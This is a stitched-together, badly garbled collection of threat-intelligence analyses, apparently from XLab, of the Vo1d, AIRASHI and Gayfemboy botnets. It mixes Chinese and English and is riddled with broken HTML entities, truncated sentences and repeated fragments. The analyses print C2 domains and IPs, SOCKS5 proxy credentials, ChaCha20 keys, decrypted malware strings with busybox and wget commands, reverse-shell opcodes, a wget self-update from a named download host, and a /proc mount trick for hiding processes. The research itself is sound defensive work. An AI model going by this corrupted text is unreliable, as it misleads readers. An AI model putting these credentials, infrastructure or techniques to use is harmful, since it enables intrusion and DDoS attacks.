

<p>显然奈Vo1d僵尸网络并未因曝光而式微奈反</p>这些改进或许正是他们从上次曝光和打。</p><p><p>以下是此次活动样本的核心变化：</p><p>通信加孬增强
网络通信使用 RSA 加密񏼌提高数据传输的隐匿性񏼌同时保�被安全研究人员注册，也不接管网~</p><p>基本设施结构升级
引入了硬编码񏼌域名生成算法（DGA）俩种ׂ用以保护真实C2，极大实强僵尸网络的隐&#x</p><p>Payload 投递策略优化
每个 Payload 都配备了独立的 Download，其中 Payload 本身使用魔改后的 XXTEA 算法加密，其加密密骥通过 RSA 进行保护，大幅提升了对抗分析能力。</p><p><p>年，<code>XLab指令跟踪系统</code>成功捕获了业务相关的 Payload，进一步揭示攻击者利用受星染的 Android电视设备展开的多组建代理网络、推广广告，虚假刷量等。从 Payload的功能来看񏼌代理网络是Vo1d的&#x鄕代理的成功案侈得到充分验证。根&#x9900万美元的非法收入随着全球执法机构对网络犯罪的打击&#x</p></p><p><p>综上所述，Vo1d僵尸网络凭借其百万级别的</p><h1 id="tranco-1m-c2%E5%9FBA%E7%A1%80%E8%AE%BE%E6%96%BD">Tranco 1M C2基础设施</h1><h2 id="1-c2%E5%9FBA%E7%A1%80%E8%AE%BE%E6%96%BD">1. C2基础设施</h2><p><p>通过11月28日捕获的蠷本JDD，我们识别了C2域S18rs2.com 以及基于32个DGA种子生成21120个DGA C2的网络行为模式。C2绑定的 IP 3.146.93.253 是 vo1d 此次攻击活动的核心基础设施之一，该 IP 下解析了 5 个不同的域名，其中 ss18rs2 和其他域名已在后续捕获的样本中被进� 域名。这些域名使用了不同的端口实现负ss18rs2 使用端口viewbot 使用端口ss18rs2 这种做法无疑实加网络的可靠性和抗&#x</p><p><p></p><p><p>通过溯源分析，我们发现了另一个核心3.132.75.97，该 IP 关联了以下 7 个域名。其中，tts442 䡌 works883 个个域名已在輁期捕获的样本中作为 C2出现。至于剩余的 5 个域名，综合考虑域名的格式，创建时间</p><p><p></p><h2 id="2-tranco-1m%E6%8E%92%E5%90%80">2. Tranco 1M排名</h2><p><p>Tranco的排名中，Vo1d僵尸网络部分大部分C2都</br></p><p><p>tts442，该域名于2024年11月3日创建，在短短</br></p><h1 id="%E7%99%BE%E4%B8%87%E7%BA%A7%E7%BD%91%E7%BB%9C%E8%A7%84%E6%A8%A1">百万级网络规模</h1><h2 id="1-%E5%8E%86%E5%8F%B2%E9%81%97%E7%95%99%E8%A7%84%E6%A8%A1">1. 历史遗留规模</h2><p><p><Dr.web一共披露的个DGA种子，我们逆向完DGA算法</p><p><p></p><h2 id="2-%E5%BD%93%E5%89%8D%E6%B4%B8%E8%B7%83%E8%A7%84%E6%A8%A1">2. 当前活跃规模</h2><p><p>披露的早期样本完全一致，但支持的 DGA 种子数量发生了显著变化，从最初版本硬 5 个种子，扩展到了变种中的 32 个，这一改动显著提升了生成域名的规模</p><p><p>随着溯源工作的深入，我们陆续注册了 258 个 DGA C2 域名，从而初步掌握了 VO1D 僵尸网络部分视野。根据收集的数据， 160 万设备遭到感染，覆盖全球 226 个国家和地区，2025年16܈14日起，连续7天日活</br></p><p><p>数量在80万左右，我们取2月1日到15日的数据&#x此次活动中国感染量不小，日活规模超</p><p><p></p><p><p>暴实骤减现象的背后，是一些国家的感印度</p><p><p>是典型代表，其感染量综常在一夜之य़</p><p>2025年1月14日：Vo1d规模从81万增至152万，印度感&#x2025年1月22؈20日：Vo1d规模从143万骤降至78万，印度&#x<p><p>年2月21日起，Vo1d的感染规模迎来一波小实&#x</p><p><p><p><p>我们推测这种“迅猘攀升再忨速衰减”</code>租期开始时，Bot被调离原有网络，导致ؑ

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code>&#x8FD9;&#x79CD;&#x201C;&#x79DF;&#x8D41;-&#x5F52;&#x961F;&#x201D;&#x7684;&#x5468;&#x7677;&#x6027;&#x673A;&#x5236;&#xFF0C;&#x81F4;&#x4E86;Vo1d&#x89C4;&#x6A21;&#x7684;&#x5728;&#x</p></p><h2 id="4-xlab-codomain%E7B3BB%E7BB%9F">4. XLab Codomain&#x7CFB;&#x7EDF;</h2><p>258&#x4E2A;&#x57DF;&#x540D;&#x5BF9;&#x4E8E;&#x6D4B;&#x91CF;&#x89C4;&#x6A21;&#x81F3;&#x5173;&#x91CD;&#x8981;&#xFF0C;&#x6211;&#x4EEC;&#x53C</p></p><strong>XLab&#x6700;&#x65B0;&#x7814;&#x53D1;&#x7684;Codomain&#x7CFB;&#x7EDF;&#x76F4;&#x63A5;&#x89C2;&#x6D4B;&#x83B7;</strong>&#xFF0C;&#x6B63;&#x662F;&#x8FD9;&#x4FE9;&#x4E2A;&#x57DF;&#x540D;&#x5E26;&#x6765;&#x4E86;&#x4E2D;&#x56FD;&#x88AB;&#x611F;&#x67D3;&#x768</p></p><p><strong>Codomain&#x7CFB;&#x7EDF;</strong><strong>&#x662F;&#x4E00;&#x79CD;&#x57FA;&#x4E8E;DNS co-occurrence&#x6280;&#x672F;&#x7684;&#x521B;&#x65B0;&#x5DE5;&#x5177;&#xFF0C;&#x80FD;&#x76D1;&#x63A7;&#x548C;&#x5206;&#x6790;&#x57DF;&#x54</p></p><p><strong>Codomain&#x7CFB;&#x7EDF;&#x5728;&#x6211;&#x4EEC;&#x5E54;&#x4E2A;&#x5206;&#x6790;&#x6EAF;&#x6E90;&#x8FC7;&#x7A0B;&#x4E2D;&#x53D1;&#x6325;&#x4</p></p><p><strong>1: &#x65E0;&#x6837;&#x672C;&#x53D1;&#x73B0;&#x65B0;&#x8D44;&#x4EA7;</strong></p></p><p>&#x65F6;&#x95F4;&#x56DE;&#x5230;2024.12.05&#xFF0C;&#x5F53;&#x65F6;&#x5DF2;&#x5B8C;&#x6210;&#x4E86;&#x5BF9;&#x6837;&#x672C;jdd&#x7684;&#x520</p></p>&#x4F34;&#x751F;&#x57DF;&#x540D;&#x7684;&#x5C42;&#x5C42;&#x5206;&#x6790;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x4E86;&#x65B0;&#x7684;Downloa</p></p><ul><li><p>&#x901A;&#x8FC7;&#x67E5;&#x8BE2;C2</p></li><li><p>ss18r2&#x7684;&#x4F34;&#x751F;&#x57DF;&#x540D;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x4E86;&#x57DF;&#x540D;wowokeys&#x3002;&#x8BE5;&#x57DF</p></li><li><p>ss187362&#x89E3;&#x6790;&#x81F3;&#x540C;&#x4E00;&#x4E2A;IP</p></li><li><p>38.46.218.36&#x4E0A;&#xFF0C;&#x8868;&#x660E;wowokeys&#x540C;&#x6837;&#x662F;&#x4E00;&#x4E2A;Downloader&#x3002;</p></li><li><p>&#x8FDB;&#x4E00;&#x6B65;&#x67E5;&#x8BE2;wowokeys&#x7684;&#x4F34;&#x751F;&#x57DF;&#x540D;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x57DF;&#x5</p></li><li><p>works883.xyz&#x4E00;&#x6837;&#xFF0C;&#x663E;&#x5F97;&#x6781;&#x4E3A;&#x53EF;&#x7591;&#x3002;&#xFF00;works883&#x8FD9;&#x4E2A;&#x8BCD;&#x672C;&#x</p></li><li><p><strong>1: &#x65E0;&#x6837;&#x672C;&#x53D1;&#x73B0;&#x65B0;&#x8D44;&#x4EA7;</strong></p></li><li><p>&#x65F6;&#x95F4;&#x56DE;&#x5230;2024.12.05&#xFF0C;&#x5F53;&#x65F6;&#x5DF2;&#x5B8C;&#x6210;&#x4E86;&#x5BF9;&#x6837;&#x672C;jdd&#x7684;&#x520</p></li><li><p>&#x4F34;&#x751F;&#x57DF;&#x540D;&#x7684;&#x5C42;&#x5C42;&#x5206;&#x6790;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x4E86;&#x65B0;&#x7684;Downloa</p></li><li><p>ss18r2&#x7684;&#x4F34;&#x751F;&#x57DF;&#x540D;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x4E86;&#x57DF;&#x540D;wowokeys&#x3002;&#x8BE5;&#x57DF</p></li><li><p>ss187362&#x89E3;&#x6790;&#x81F3;&#x540C;&#x4E00;&#x4E2A;IP</p></li><li><p>38.46.218.36&#x4E0A;&#xFF0C;&#x8868;&#x660E;wowokeys&#x540C;&#x6837;&#x662F;&#x4E00;&#x4E2A;Downloader&#x3002;</p></li><li><p>&#x8FDB;&#x4E00;&#x6B65;&#x67E5;&#x8BE2;wowokeys&#x7684;&#x4F34;&#x751F;&#x57DF;&#x540D;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x57DF;&#x5</p></li><li><p>works883.xyz&#x4E00;&#x6837;&#xFF0C;&#x663E;&#x5F97;&#x6781;&#x4E3A;&#x53EF;&#x7591;&#x3002;&#xFF00;works883&#x8FD9;&#x4E2A;&#x8BCD;&#x672C;&#x</p></li><li><p><strong>1: &#x65E0;&#x6837;&#x672C;&#x53D1;&#x73B0;&#x65B0;&#x8D44;&#x4EA7;</strong></p></li><li><p>&#x65F6;&#x95F4;&#x56DE;&#x5230;2024.12.05&#xFF0C;&#x5F53;&#x65F6;&#x5DF2;&#x5B8C;&#x6210;&#x4E86;&#x5BF9;&#x6837;&#x672C;jdd&#x7684;&#x520</p></li><li><p>&#x4F34;&#x751F;&#x57DF;&#x540D;&#x7684;&#x5C42;&#x5C42;&#x5206;&#x6790;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x4E86;&#x65B0;&#x7684;Downloa</p></li><li><p>ss18r2&#x7684;&#x4F34;&#x751F;&#x57DF;&#x540D;&#xFF0C;&#x6211;&#x4EEC;&#x53D1;&#x73B0;&#x4E86;&#x57DF;&#x540D;wowokeys&#x3002;&#x8BE5;&#x57DF</p></li><li><p>ss187362&#x89E3;&#x6790;&#x81F3;&#x540C;&#x4E00;&#x4E2A;IP</p></li><li><p>38.
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</p><p>至此，Vo1d僵尸网络，以及Mzmess的业务分析完&#</p></p><h1 id="%E8%A%B1%E7%B5%AE%EF%BC%9A%E8%8D%89%E8%9B%87%E7%81%B0%E7%BA%BF%EF%BC%8C%E6%8C%96%E6%8E%98%E6%9B%B4%E5%A4%9A%E7%9A%84%E8%B5%84%E4%BA%A7%EF%</h1><p>在溯源Vo1d僵尸网络的早期版本时，发现了&#synntrre.com，remored0.com，我们认为它们解析的IP3.17.255.32是早期版本的核心C2 IP之一。</p><p>这些域名中，bitemores,meiboot已经被Dr web披露为C2，那其它的呢？先看csskkjw.com，VT上有Ncsskkjw.com/s3/b7027626，下载回来的b7027626是一个加宆的失败！真是让人失望啊。</p><p>服一天我们突然想起synntrre.com的相关样本中还&#成功得到一个DexLoader，坐实了csskkjw.com是Vo1d的资产，׼</p></p><p>随后我们整理剩余域名的解析历史，发13.229.152.241，，18.139.54.2。3个IP间大量域存在重叠，红框</p></p><h1 id="%E6%80%BB%E7%BB%93">总结</h1><p>本文重点分析了Vo1d僵尸网络在新活动中引Â机制、独特的Payload解密算法asr_xtea，DGA，以及部&#</p></p>从供应链角度来看，部分设备制造商与黑产存在利益关ࠅ从用户行为角度来看，许多用户对电视盒子的安全性存在ࢺ<p>我们仍在对Vo1d的商业模式进行深入挖掘，</p><p>这是我们目前掌握的Vo1d僵尸网络的大部分&#X平台与我们联系。</p><h1 id="ioc">IOC</h1><h3 id="vo1d-c2">Vo1d C2</h3><pre><code>ssl87rs2.com ttekf42.com ttss442.com works883.com csskkjw.com catmore23.com synntrre.com csok997.com conanant.com qocoll.com haveits.com remored0.com catmos99.com</code></pre><h3 id="vo1d-downloader">Vo1d Downloader</h3><pre><code>ssl87362.com wowokeys.com 38.46.218.36 38.46.218.37 38.46.218.
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maximum destructive impact. The botnet involved in this attack operation referred to itself as AISURU at the time. This article will analyze
the variants of the AISURU botnet, known as AIRASHI.</p> <p>After the above-mentioned attack was exposed, the AISURU botnet temporarily ceased
its attack activities in September. However, driven by profit motives, it was updated in October, and based on the sample characteristics, we
named it kitty. By the end of November, a new variant reappeared and was updated again in the samples at the end of November, with the botnet
renamed as: AIRASHI.</p> <p>The current AIRASHI botnet has the following main characteristics:</p> <ul> <li>Uses a 0DAY vulnerability of
cnPilot routers to spread samples.</li> <li>Sample strings are encrypted with RC4, while the CNC communication protocol has added HMAC-SHA256
verification and uses ChaCha20 encryption.</li> <li>CNC domain names include keywords such as xlabresearch, xlabsecurity, and foxthreatnointel,
mocking XLAB and security researchers.</li> <li>Stable T-level DDoS attack capabilities.</li> <li>Rich IP resources for the command and control
(CNC) end, with nearly 60 IPs resolved from domains, distributed across different countries and service providers. This may be intended to
accommodate more bot endpoints and increase the difficulty of dismantling the botnet. The following image shows the Passive DNS records of
AIRASHI CNC xlabsecurity.ru. It reveals that the CNC domain xlabsecurity.ru once resolved to 144 IPs distributed across 19 countries and 10 AS
numbers (Autonomous System Numbers, ASN).</li> </ul> <a href="https://blog.xlab.qianxin.com/content/images/2025/01/pdns.xlabsecurity.ru.png"
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details">Exploitation Details</h1> <p>Relying on the capabilities of XLab&#s large-scale threat awareness system, we observed that AIRASHI
samples mainly spread through NDAY vulnerabilities and TELNET weak passwords, while also possessing the ability to exploit 0DAY
vulnerabilities. Since June of last year, we have observed AIRASHI using a 0DAY vulnerability in cnPilot routers spread its samples. Regarding
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id="ddos-capabilities-and-ddos-activities">DDoS Capabilities and DDoS Activities</h1> <h2 id="ddos-capabilities">DDoS Capabilities</h2>
<p>Botnet operators often showcase their attack capabilities through social media platforms such as Telegram, Discord, or forums, with the goal
of attracting potential customers or intimidating competitors. To prove the attack capabilities of their botnets, some operators use third-
party botnet attack measurement services for validation. They direct their botnets to attack servers provided by these measurement services.
The measurement services then collect and analyze information such as the size of attack traffic, packet rates, geographic locations of the
attack sources, ASNs, and attack methods. After receiving these statistics, the botnet operators post them on their social media platforms to
demonstrate the power of their botnets.</p> <p>The AIRASHI botnet uses this exact method to prove its attack capabilities. The image below
shows one of their <a href="https://dvs.ops2.net/incident/5d1a34d8-3a1d-4c09-a77c-c29b20597c81?ref=blog.xlab.qianxin.com">attack capability
demonstrations</a>&#x#FF1A;</p> <a href="https://blog.xlab.qianxin.com/content/images/2025/01/aisuru_powerproof.2025-01-15-11.08.01.png"
target="_blank">  </a> <p>The statistics displayed on the image are as follows:</p> <ul>
<li>Current attack peak: 3.11 Tbps (270.52 Mpps)</li> <li>Test user ID: 66XXXXXXX (This ID corresponds to the Telegram channel administrator
of the AIRASHI botnet)</li> <li>Last updated: 2025-01-13 20:20:04 UTC</li> <li>Attack source<br> </li> </ul> <p>The operator of AIRASHI has been posting their DDoS capability test results on Telegram. From
historical data, it can be observed that the attack capacity of the AIRASHI botnet remains stable around 1-3 Tbps.</p> <p></p> <h2 id="ddos-activities">DDoS Activities</h2> <p>The attack targets of the AIRASHI botnet are
spread globally across various industries, with the primary targets located in regions such as China, the United States, Poland, and Russia.
There is no clear, strong targeting strategy. The botnet typically attacks several hundred targets each day.</p> <p></p> <h1 id="sample-analysis">Sample Analysis</h1> <p>The AIRASHI botnet sample is frequently updated and has
multiple versions. Some versions, in addition to supporting the main DDoS functionality and operating system command execution, also support
proxy services. The following analysis focuses on kitty and AIRASHI, examining technical details of the botnet from aspects such as
<strong>string decryption, C2 retrieval, communication protocols, and supported commands.</strong></p> <h2 id="part1-kitty-socks5">Part1:
kitty-socks5</h2> <p>The kitty sample began spreading in early October 2024. Compared to previous AISURU samples, it has simplified the network
protocol. By the end of October, it started using SOCKS5 proxies to communicate with the C2 server, and it encoded 250 proxies and 55 C2
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addresses in the string decoding method; it still uses xor_bytes. However, the key has been modified to DEADBEEFCAFEBABE1234567890ABCDEF, and the number of entries in the string table has been reduced to 7.</p><p></p><h3 id="0x2-how-to-get-c2">0x2: How to get C2</h3><p>In terms of C2 retrieval, the method of obtaining the C2 IP through HTTP was removed in early October. The C2 string is still split using the | character, and as before, each domain is mapped to over 20 IP addresses.</p><p>eg:<code>dvrhelpers.su|ipcamllover.ru|xlabresearch.ru|xlabsecurity.ru</code></p><p>However, after the addition of SOCKS5 at the end of October, the string table was updated to include proxy entries. Both the C2 and proxy entries are now encoded using multiple sets of IP-PORT byte sequences.</p><p>eg:<code>\x7f\x00\x00\x01\x00\x50</code>represents<code>127.0.0.1:80</code></p><h3 id="0x3-network-protocol">0x3: Network Protocol</h3><p>In terms of the network protocol, it still uses a switch-case structure for handling different stages, similar to the Fodcha botnet.</p><p></p><p>However, the communication process has been simplified. The latest sample uses a SOCKS5 proxy (with authentication) to access the C2 server.</p><pre><code>username: jkktegl password: 2bd463maabw5</code></pre><p>The original key exchange process has been removed, and the communication traffic is no longer encrypted. The startup packet is replaced with Kitty-Kitty-Kitty, and every 2 minutes, a heartbeat packet cat is sent to the C2 server, which responds with meow!.</p><p></p><p>The command types still focus primarily on DDoS, with the addition of a reverse shell functionality. The command format hasn't changed significantly. It still follows the cmdtype+payload structure, but the value of cmdtype has been updated. Additionally, DDoS-related commands now include a new AttckID field.</p><table><thead><tr><th>cmdtype</th><th>desc</th></tr></thead><tbody><tr><td>0x13</td><td>reverse shell</td></tr><tr><td>0x2c</td><td>stop attack</td></tr><tr><td>0x4b</td><td>start attack</td></tr><tr><td>0xaf</td><td>exit</td></tr></tbody></table><h2 id="part2-airashi">Part2: AIRASHI</h2><p>Currently, three types of AIRASHI samples have been discovered:
1. AIRASHI-DDoS: First identified in late October, this sample primarily focuses on DDoS attacks but also allows arbitrary command execution and reverse shell access.
2. Go-Proxysdk: First discovered in late November, this is a proxy tool based on muxado written in Go.
3. AIRASHI-Proxy: First identified in early December, this is a heavily modified version of the AIRASHI-DDoS source code, using a private protocol to implement proxy functionality.</p><p>AIRASHI shares some similarities with AISURU. If kitty is a streamlined version of AISURU, then AIRASHI seems to be an upgraded version. Since October, it has been continuously updated. After developing the simple Go-Proxysdk, the custom protocol proxy tool AIRASHI-Proxy was developed, indicating an attempt to surprise us with entirely new features.</p><h3 id="0x1-rc4">RC4</h3><p>AIRASHI and AISURU share some common characteristics in string decryption. Both continue to use a 16-byte key, and the decryption algorithm employed is RC4. The output string is snow slide, and special strings are separated using the | character. The decryption method is the same for both the Proxy and DDoS versions, but the Proxy version contains significantly fewer strings.</p><p>Interestingly, some unused strings appear to be responding to our previous <a href="https://blog.xlab.qianxin.com/more_ddos_details_on_steam_en/#aisuru%E5%83%B5%E5%B0%B8%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF%E7%BB%86%E8%8A% includes a YouTube link to a conga dance track and a dance invitation. Additionally, there's a request for xlab and foxnointel to name this variant "AIRASHI".</p><pre><code>0 'snow slide'; 1 'telnetsd/upnpc-static/judhcpc/usr/bin/inetd|ntclnt|boa|lighttpd|httpd|goahead|min_i_http|min_iupnpd|dnsmasq|sshd|dhcpd|upnpd|watchdog|syslogd|klogd|uhtpd|uc 2 'dvrEncoder/dvrRecorder/dvrDecoder/rtsdp/ptzcontrol/dvrUpdater'; 3 'cve-2021-36260.ru'; 4 'honeypooterz.cve-2021-36260.ru'; 5 'stun.l.google.com:19302'; 6 '/proc/'; 7 '/proc/self/exe'; 8 '/proc/net/tcp'; 9 '/proc/mounts'; 10 '/cmdline'; 11 '/exe'; 12 '/status'; 13 '/fd'; 14 '/Ppid'; 15 '/bin/sbin/usr/jsnap/'; 16 '/wget/curl/tftp/get/reboot/chmod'; 17 '/bin/login'; 18 '/usr/bin/cat'; 19 '/processor'; 20 '/proc/cpuinfo'; 21 '/bin/busybox echo AIRASHI > /proc/sys/kernel/hostname'; 22 '/bin/busybox AIRASHI'; 23 'AIRASHI: applet not found'; 24 'abcdefghijklmnopqrstuvwxyz012345678'; 25 'come on, shake your body xlab, do the conga'; 26 'i know you can't control yourself any longer'; 27 'https://www.youtube.com/watch?v=ODKITUPUsM'; 28 'dear researcher (xlab, foxnointel, ...), please refer to this malware as AIRASHI. thank you!';</code></pre><h3 id="0x2-how-to-get-c2">0x2: How to Get C2</h3><p>AIRASHI uses three different methods to get C2:
1. AIRASHI-DDoS (Early development, late October): The most basic method, using DNS servers to resolve the C2's A record.
2. AIRASHI-Proxy: Retrieves the C2's TXT record from the DNS server and decodes the plaintext IP and port.
3. AIRASHI-DDoS (Late November): Uses DNS servers to retrieve the C2's TXT record, then base64-decrypts and decrypts 4 bytes of the IP using ChaCha20. The port is hardcoded in the sample.</p><p></p>DNS_TXT_CHACHA20_KEY<code>8E12DF8893A638354D851BCB46B57DC451C6F52066305AC641DE60C80D11850</code>DNS_TXT_CHACHA20_NONCE<code>941A247DDD53819F755FD59B</code><p>It is worth noting that on December 3rd, both the A record and TXT record for C2 resolution existed simultaneously for AIRASHI-DDoS, and there was a corresponding relationship after decryption. This might have been done to ensure compatibility with previous versions, but it renders the encryption and encoding largely meaningless.</p><h3 id="0x3-network-protocol">0x3: Network Protocol</h3><p>AIRASHI uses a completely new network protocol that involves HMAC-SHA256 and CHACHA20 algorithms. HMAC is used to verify the integrity of the message, while the negotiated CHACHA20_KEY is used to encrypt and decrypt the message. In the Proxy version, HMAC is not used for message verification in the protocol part, but the rest of the protocol remains consistent with the DDoS version.</p>Communication With C2<p>Each message is divided into two parts: a 32-byte HMAC checksum of the message and the message itself.</p><p>As shown in the diagram, the Header part of the message is sent first to confirm the message type and length. If the message length is not zero, the Payload part is then sent.
</p><p>The communication process, like before, is controlled by a switch-case structure using status codes, and it is divided into 4 steps:
1. Key Negotiation
- Obtain a 32-byte CHACHA20_KEY and a nonce. Subsequent messages are encrypted using CHACHA20 and the CHACHA20_KEY is used as the key for HMAC-SHA256.
2. Key Confirmation
- A message with type 1 is encrypted using CHACHA20 and sent. The returned message type is verified to ensure it is also type 1.
3. Send Startup Packet
- The architecture type is obtained by reading the ELF header. The structure of the startup packet is as follows:
<code>struct login{ uint8 uk1; uint8 uk2; uint8 uk3; uint32 stunIP; uint32 botid_len; char botid[botid_len]; uint16 cpu_core_num; uint16 arch_type; }</code>
4. Check-In Confirmation
- The C2 returns a message with type 2.</p><p>The actual traffic generated is as follows:</p>Message Type
AIRASHI-DDoS supports a total of 13 message types, and the corresponding handling functions are stored in an array within the bot's code. Some of the handling functions for certain message types are still incomplete, suggesting that they may still be under development.MSG_Handler
"https://blog.xlab.qianxin.com/content/images/2024/11/airashi_msg_handler.png" alt="Botnets Never Die: An Analysis of the Large Scale Botnet AIRASHI" loading="lazy"><p>AIRASHI-DDoS supports the following 13 message types, with some reserved for future development:</p><table><thead><tr><th>MSG_Type</th><th>Desc</th></tr></thead><tbody><tr><td>0</td><td>Get Net Key</td></tr><tr><td>1</td><td>Confirm Net Key</td></tr><tr><td>2</td><td>Confirm Login</td></tr><tr><td>3</td><td>Heartbeat</td></tr><tr><td>4</td><td>Start Attack</td></tr><tr><td>5</td><td>Exit</td></tr><tr><td>6</td><td>Kill Report</td></tr><tr><td>7</td><td>unknown</td></tr><tr><td>8</td><td>unknown</td></tr><tr><td>9</td><td>Disable Killer</td></tr><tr><td>10</td><td>Enable killer</td></tr><tr><td>11</td><td>Exec Command</td></tr><tr><td>12</td><td>Reverse Shell</td></tr></tbody></table><p>On the other hand, AIRASHI-Proxy supports only 5 message types, with the first 4 types being identical to those in AIRASHI-DDoS.</


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They launched an aggressive iterative development journey, starting with modifying registration packets, experimenting with UPX polymorphic packing, actively integrating N-day vulnerabilities, and even discovering 0-day exploits to continually expand Gayfemboy's infection scale.</p> <p>By early November 2024, Gayfemboy evolved further, leveraging a 0-day vulnerability in Four-Faith industrial routers and unknown vulnerabilities in Neterbit routers and Vimar smart home devices to spread its payloads. This discovery prompted us to conduct an in-depth analysis of this botnet. We <code>registered several C2 domains</code> to observe infected devices and measure the botnet’s scale. Our findings revealed that Gayfemboy operates with over 40 grouping categories and has more than 15,000 daily active nodes. Interestingly, when it detected our registration of its domains, it retaliated immediately with a DDoS attack—an act of notable hostility.</p> <p>With the capabilities of XLab’s <code>Cyber Threat Insight and Analysis</code> system, reviewing Gayfemboy’s evolution has allowed us to witness its transformation from an ordinary Mirai variant into today’s unique large-scale botnet, equipped with 0-day exploitation capabilities and a ferocious attack arsenal.</p> February 12, 2024: XLab first discovered Gayfemboy samples, packed with a standard UPX shell. April 15, 2024: The UPX magic number was modified to <code>YTS\x99</code>, and the bot began using the <code>gayfemboy</code> registration packet. Early June 2024: The UPX magic number was changed to <code>lwm</code>. The bot code became relatively stable, with only occasional additions of new C2 domains. Late August 2024: Samples hardcoded six C2 domains, with the last three remaining unregistered. November 9, 2024: Gayfemboy was observed exploiting a 0-day vulnerability in Four-Faith industrial routers to deliver its samples. The samples were executed with the parameter <code>faith2</code>. November 17, 2024: We registered several unregistered domains found in Gayfemboy samples to observe infected devices and measure the botnet’s scale. November 23, 2024: Gayfemboy’s operators detected our registration of their C2 domains and began periodically launching DDoS attacks against the domains we registered. December 27, 2024: VulnCheck publicly disclosed the 0-day vulnerability information for Four-Faith industrial routers. <h1 id="exploitation-details">Exploitation Details</h1> <p>Gayfemboy deliver its samples using more than 20 vulnerabilities and Telnet weak credentials. These include the Four-Faith industrial router 0-day vulnerability (now disclosed as CVE-2024-12856) and several unknown vulnerabilities affecting Neterbit and Vimar devices. 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The botnet targets hundreds of different entities each day. The attack targets are spread across the globe, covering various industries. The main attack targets are concentrated in regions such as China, the United States, Germany, the United Kingdom, and Singapore.</p> <p>The attack target trend is as follows:</p> <p></p> <p>Geographical distribution of attack targets:
 </p> <h2 id="attack-capabilities">Attack Capabilities</h2> <p>We resolved the registered Gayfemboy domains to a VPS from a cloud provider. After Gayfemboy’s operators discovered this, they began regularly launching DDoS attacks against our registered domains, with each attack lasting between 10 to 30 seconds. When the cloud provider detected that our VPS was being attacked, they would immediately blackhole route the VPS traffic for over 24 hours, making our VPS unavailable and inaccessible. Once the VPS service was restored, Gayfemboy would attack again. Since we had not purchased DDoS protection, we ultimately decided to stop resolving Gayfemboy’s domains. Some attack command records are shown in the figure below:</p> <p></p> <p>According to the traffic monitoring service provided by the cloud provider, the DDoS attack traffic from Gayfemboy is estimated to be around <code>100GB</code>.</p> <p></p> <h1 id="sample-analysis">Sample Analysis</h1> <p>This family uses a modified UPX shell. The early versions employed the magic number <code>YTS\x99</code>, while since June 2024, it has started using the unique magic number <code>lwm</code>.</p> <p></p> <p>The code is based on Mirai with the following modifications:</p> Removed the Mirai string table and used plaintext strings. Added a function to hide the process ID (pid). Modified the registration packet to "gayfemboy". Added new command functionalities. <p>To increase analysis difficulty and protect the program, botnet developers often encrypt strings. However, the developer behind this botnet seems to neglect string protection, as all strings are in plaintext. After the sample runs, it outputs <code>we gone now\n</code>, a feature that has remained unchanged since the discovery of the sample.</p> <p></p> <p>To hide the malicious process, the sample attempts to find writable directories starting from the root directory upon startup. It then tries to write a random 2032-byte file named <code>test_write</code> as a test. If successful, the file is deleted. The sample will skip the following directories:</p> <pre><code>/proc /sys /dev /fd /boot </code></pre> <p>When a writable directory is found, the sample attempts to mount the directory to <code>/proc/<pid></code>, making the process invisible in the <code>/proc/</code> filesystem and thereby hiding the specified PID.</p> <p></p> <p>In terms of the network protocol, the botnet retains the Mirai command format but modifies the

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registration packet and adds new command functionalities:</p></td><td><thead><tr><th>cmd_id</th><th>desc</th></tr></thead><tbody><tr>
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</p><p></p><p>Upon receiving a self-update command, the sample retrieves the download server and bot ID from the command. By default, it uses <code>meowware.ddns.net</code> as the download server. The sample also hardcodes multiple command format strings related to downloading.</p><p></p><p>The purpose is to use <code>wget</code> to download files from a fixed directory <code>chevrmanabat</code>, with the bot ID passed as a parameter for execution.</p><p>Upon receiving a scanning command, the sample parses multiple custom parameters from the command, such as the scanning port, reporting server, reporting port, and validation of the response packet.</p><p></p><h1 id="conclusion">Conclusion</h1><p>DDoS (Distributed Denial of Service) is a highly reusable and relatively low-cost cyberattack weapon. It can launch large-scale traffic attacks instantly using distributed botnets, malicious tools, or amplification techniques, deleting, disabling, or interrupting the target network&#x2014;s resources. As a result, DDoS has become one of the most common and destructive forms of cyberattacks. Its attack modes are diverse, attack paths are highly concealed, and it can employ continuously evolving strategies and techniques to conduct precise strikes against various industries and systems, posing a significant threat to enterprises, government organizations, and individual users. Organizations and individuals should develop comprehensive defense strategies at various levels to mitigate the risks of DDoS attacks and enhance the overall resilience of their systems.</p><p><h1 id="contact-us">Contact Us</h1><p>Readers are always welcomed to reach us on <a href="https://twitter.com/Xlab_qax?ref=blog.xlab.qianxin.com">twitter</a>.</p><p><h1 id="ioc">IoC</h1><h2 id="loader-ip">loader IP</h2><pre>
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<code>YTS\<code>，开始使用<code>gayfemboy</code>上线报文，</p>
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<code>lwom</code>，bot代码基本固定，偶尔新增几个C2域&#
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<p>2024年8月底，样本硬编码6个C2，后3个C2是未注&#
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<p>2024年11月09日，观察到Gayfemboy开始使用四信工业&#x<
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我们的VP5还没有被Gayfemboy打死，就被云厂商先&#<

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<code>百G</code>左右。</p> <p></p> <h1 id="&#E6%A0%B7%E6%9C%AC%E5%88%B6%E6%9E%90">样本分析</h1>
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</p> <p></p> <p></p> <p>为隐藏恶意进程，样本启动后会尝试从<
<code>test_write</code>俅为测试，成功后会删除该文件，&
</p> <p><pre><code>proc /sys /dev/fd /boot </code></pre>
<p>当找到可写入目录时，尝试通过挂载该<
<code>/proc</code>m上使该进程用/proc文件系统中不可见，以&#x<
